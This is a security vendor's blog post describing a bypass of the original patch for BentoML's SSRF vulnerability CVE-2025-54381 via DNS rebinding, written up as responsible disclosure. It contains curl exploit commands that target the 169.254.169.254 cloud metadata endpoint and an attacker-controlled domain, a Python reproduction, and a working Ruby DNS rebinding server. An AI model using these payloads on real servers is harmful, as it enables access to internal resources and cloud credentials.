Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

How Tenable Found a Way To Bypass a Patch for BentoML’s Server-Side Request Forgery Vulnerability CVE-2025-54381



How Tenable Found a Way To Bypass a Patch for BentoML’s Server-Side Request Forgery Vulnerability CVE-2025-54381

Tenable Research recently discovered that the original patch for a critical vulnerability affecting BentoML could be bypassed. In this blog, we explain in detail how we discovered this patch bypass in this widely used open source tool. The vulnerability is now fully patched.

Key takeaways

  1. Tenable Research discovered that the initial patch for a high-severity SSRF vulnerability in BentoML – a popular open source tool – could be circumvented.
     
  2. The vulnerability (CVE-2025-54381) in the BentoML file-upload processing system could allow remote attackers to make arbitrary HTTP requests from the server without authentication.
     
  3. The vulnerability is now fully and properly patched. Users should upgrade immediately to version 1.4.22 or later to fix it.

Introduction to BentoML

BentoML is an open source Python framework designed to facilitate the deployment of AI apps and models. It provides a comprehensive environment for packaging, serving, and monitoring models in production, with a simple API system for exposure.

Typically, BentoML functions as an HTTP server that receives data such as files or URLs, processes them through user-defined services, and returns a result. This flexibility makes it convenient for AI model inference endpoints. However, any insecure handling of user-supplied URLs can open the door to server-side request forgery (SSRF) attacks.

Understanding CVE-2025-54381

In August 2025, a critical vulnerability was discovered in BentoML versions 1.4.0 through 1.4.18. This SSRF vulnerability allows unauthenticated remote attackers to force the server to perform arbitrary HTTP requests.

An SSRF vulnerability occurs when an application accepts user-provided URLs and performs server-side HTTP requests without adequate validation. This enables attackers to target internal or protected resources, such as cloud metadata endpoints like 169.254.169.254 that contain sensitive information.

For a comprehensive background on SSRF mechanics and common exploitation techniques, read our blog post about SSRF fundamentals

Minimal vulnerable case:

Here's a minimal example of vulnerable BentoML code:

from pathlib import Path
import bentoml
@bentoml.service
class ImageProcessor:
    @bentoml.api
    def process_image(self, image: Path) -> str:
        return f"Processed image: {image}"

Exploitation with curl:

The vulnerability can be exploited using a simple curl command:

curl -X POST http://target:3000/process_image \
     -F 'image=http://169.254.169.254/latest/meta-data/'

In this scenario, the server downloads content from the attacker-supplied URL and processes it through the application pipeline.

While the vulnerability initially received a CVSS score of 9.9, its practical severity varies between 5.3 and 8.6 depending on network configuration and accessibility.

The official patch analysis

In the original patch, BentoML addressed the vulnerability by implementing an is_safe_url function to filter incoming URLs:

def is_safe_url(url: str) -> bool:
    """Check if URL is safe for download (prevents basic SSRF)."""
    try:
        parsed = urlparse(url)
    except (ValueError, TypeError):
        return False
    if parsed.scheme not in {"http", "https"}:
        return False
    hostname = parsed.hostname
    if not hostname:
        return False
    if hostname.lower() in {"localhost", "127.0.0.1", "::1", "169.254.169.254"}:
        return False
    try:
        ip = ipaddress.ip_address(hostname)
        return not (ip.is_private or ip.is_loopback or ip.is_link_local)
    except ValueError:
        pass
    
   try:
       addr_info = socket.getaddrinfo(hostname, None)
   except socket.gaierror:
       return False
   for info in addr_info:
       try:
           ip = ipaddress.ip_address(info[4][0])
           if ip.is_private or ip.is_loopback or ip.is_link_local:
               return False
       except (ValueError, IndexError):
           continue
        
   return True


Filtering is based on:

  • A deny list of specific host names (localhost, 127.0.0.1, etc.),
  • Blocking private, loopback, and link-local IP addresses,
  • DNS resolution followed by IP address filtering.

Patch limitations

However, several critical weaknesses undermine this protection:

  1. Incomplete Blocklist: Alternative addresses like instance-data (internal DNS alias on some cloud platforms) or provider-specific endpoints remain accessible. For example, instead of 169.254.169.254, it is possible to use instance-data (internal DNS alias on some clouds) or other provider-specific addresses that are not listed.
  2. Unfiltered Cloud Provider IPs: Certain public IP addresses used by cloud providers aren't caught. For example, 100.100.100.200 (Alibaba Cloud metadata endpoint) passes validation.
  3. No DNS Rebinding Protection: The implementation validates URLs based on initial DNS resolution but doesn't verify subsequent resolutions, enabling DNS rebinding attacks.

This last limitation is the key to bypassing this patch.

Exploitation via DNS rebinding

While HTTPX (BentoML's HTTP client) doesn't follow redirects by default, DNS rebinding provides an effective bypass:

  1. Initial Request: DNS resolves to a legitimate public IP, passing is_safe_url validation
  2. Actual HTTP Request: DNS resolves to a private/loopback IP, accessing prohibited resources
Animated diagram showing steps for bypassing BentoML vulnerability patch

Minimal reproduction code :

The following code illustrates and reproduces the vulnerability

import ipaddress
import socket
from urllib.parse import urlparse
import httpx
DEFAULT_TIMEOUT = 10.0
def is_safe_url(url: str) -> bool:
    try:
        parsed = urlparse(url)
    except (ValueError, TypeError):
        return False
    if parsed.scheme not in {"http", "https"}:
        return False
    hostname = parsed.hostname
    if not hostname:
        return False
    if hostname.lower() in {"localhost", "127.0.0.1", "::1", "169.254.169.254"}:
        return False
    
   try:
       ip = ipaddress.ip_address(hostname)
       return not (ip.is_private or ip.is_loopback or ip.is_link_local)
   except ValueError:
       pass
       
   try:
       addr_info = socket.getaddrinfo(hostname, None)
   except socket.gaierror:
       return False
   for info in addr_info:
       try:
           ip = ipaddress.ip_address(info[4][0])
           if ip.is_private or ip.is_loopback or ip.is_link_local:
               return False
       except (ValueError, IndexError):
           continue
   return True
   
def fetch(url: str) -> bytes:
    if not is_safe_url(url):
        raise ValueError("URL not allowed for security reasons")
    with httpx.Client(timeout=DEFAULT_TIMEOUT) as client:
        resp = client.get(url)
        resp.raise_for_status()
        return resp.content
def main():
    url = "http://[URL_TO_TEST]"
    try:
        body = fetch(url)
        print(f"Downloaded {len(body)} octets from {url}")
    except Exception as e:
        print(f"Download failed : {e!r}")
if __name__ == "__main__":
    main()

After testing various public DNS rebinding services (like http://1u.ms/ and https://lock.cmpxchg8b.com/rebinder.html) without success, we developed a custom exploitation script for better control and visibility:

#!/usr/bin/env ruby
require 'rubydns'
PORT = 53
DOMAIN = ''
PUBLIC_IPV4 = ''
EXPLOIT_IPV4 = '127.0.0.1'
PUBLIC_IPV6 = ''
EXPLOIT_IPV6 = '::1'
endpoint = Async::DNS::Endpoint.for("0.0.0.0", port: PORT)
RubyDNS.run(endpoint) do
  ipv4_counts = {}
  ipv6_counts = {}
  match(%r{.*#{Regexp.escape(DOMAIN)}$}i, Resolv::DNS::Resource::IN::A) do |transaction|
    hostname = transaction.name.downcase
    ipv4_counts[hostname] ||= 0
    ipv4_counts[hostname] += 1
    if ipv4_counts[hostname] == 1
      ip = PUBLIC_IPV4
      puts "#{transaction.name} → #{ip} (IPv4 VALIDATION)"
    else
      ip = EXPLOIT_IPV4
      puts "#{transaction.name} → #{ip} (IPv4 EXPLOITATION)"
    end
    transaction.respond!(ip, ttl: 0)
  end
  match(%r{.*#{Regexp.escape(DOMAIN)}$}i, Resolv::DNS::Resource::IN::AAAA) do |transaction|
    hostname = transaction.name.downcase
    ipv6_counts[hostname] ||= 0
    ipv6_counts[hostname] += 1
    if ipv6_counts[hostname] == 1
      ipv6 = PUBLIC_IPV6
      puts "#{transaction.name} → #{ipv6} (IPv6 VALIDATION)"
    else
      ipv6 = EXPLOIT_IPV6
      puts "#{transaction.name} → #{ipv6} (IPv6 EXPLOITATION)"
    end
    transaction.respond!(ipv6, ttl: 0)
  end
  match(%r{.*#{Regexp.escape(DOMAIN)}$}i) do |transaction|
    transaction.fail!(:NXDomain)
  end
  otherwise do |transaction|
    transaction.fail!(:NXDomain)
  end
end

The script implements a stateful DNS server that:

  1. Maintains per-hostname resolution counters
  2. Returns a public IP on first resolution (passes `is_safe_url` validation)
  3. Returns a private/loopback IP on subsequent resolutions (enables exploitation)
  4. Sets TTL to 0 to prevent caching

To use this script, you'll need:

  • A publicly accessible server
  • A DNS zone configured to delegate queries to your server
  • Full control over the DNS resolution process

The use of this script requires a publicly reachable server with a DNS zone configured so that queries for your chosen domain are answered by this script. This gives you full control over the resolution process needed for DNS rebinding.

Final Exploitation

Once the DNS rebinding server is running, the vulnerability can be exploited with:

curl -X POST http://target:3000/process_image \
     -d 'image=http://malicious.your-domain.com/'

Conclusion

We contacted BentoML and shared our findings with its team, which replied that they were already aware of the problems with the original patch. A few weeks after our communication with BentoML, the organization issued version 1.4.22, fixing the vulnerability.

Tenable Research recognized early the significant role AI/LLM technologies would play in organizations — and the new security challenges they would introduce. To address these, it's crucial to enforce security fundamentals in server development and tool usage. Adhering to basic security practices can significantly mitigate risks from vulnerabilities in novel systems and prevent devastating attacks.

We thank the BentoML security team for their efforts in mitigating this issue and their clear communication during our disclosure process.

Timeline :

  • July 31, 2025 : Initial contact
  • August 14, 2025 : Second attempt
  • August 25, 2025: Vendor acknowledgment - Known issue
  • August 26, 2025: BentoML released version 1.4.22 with the fix

Cybersecurity news you can use

Enter your email and never miss timely alerts and security guidance from the experts at Tenable.

× Contact our sales team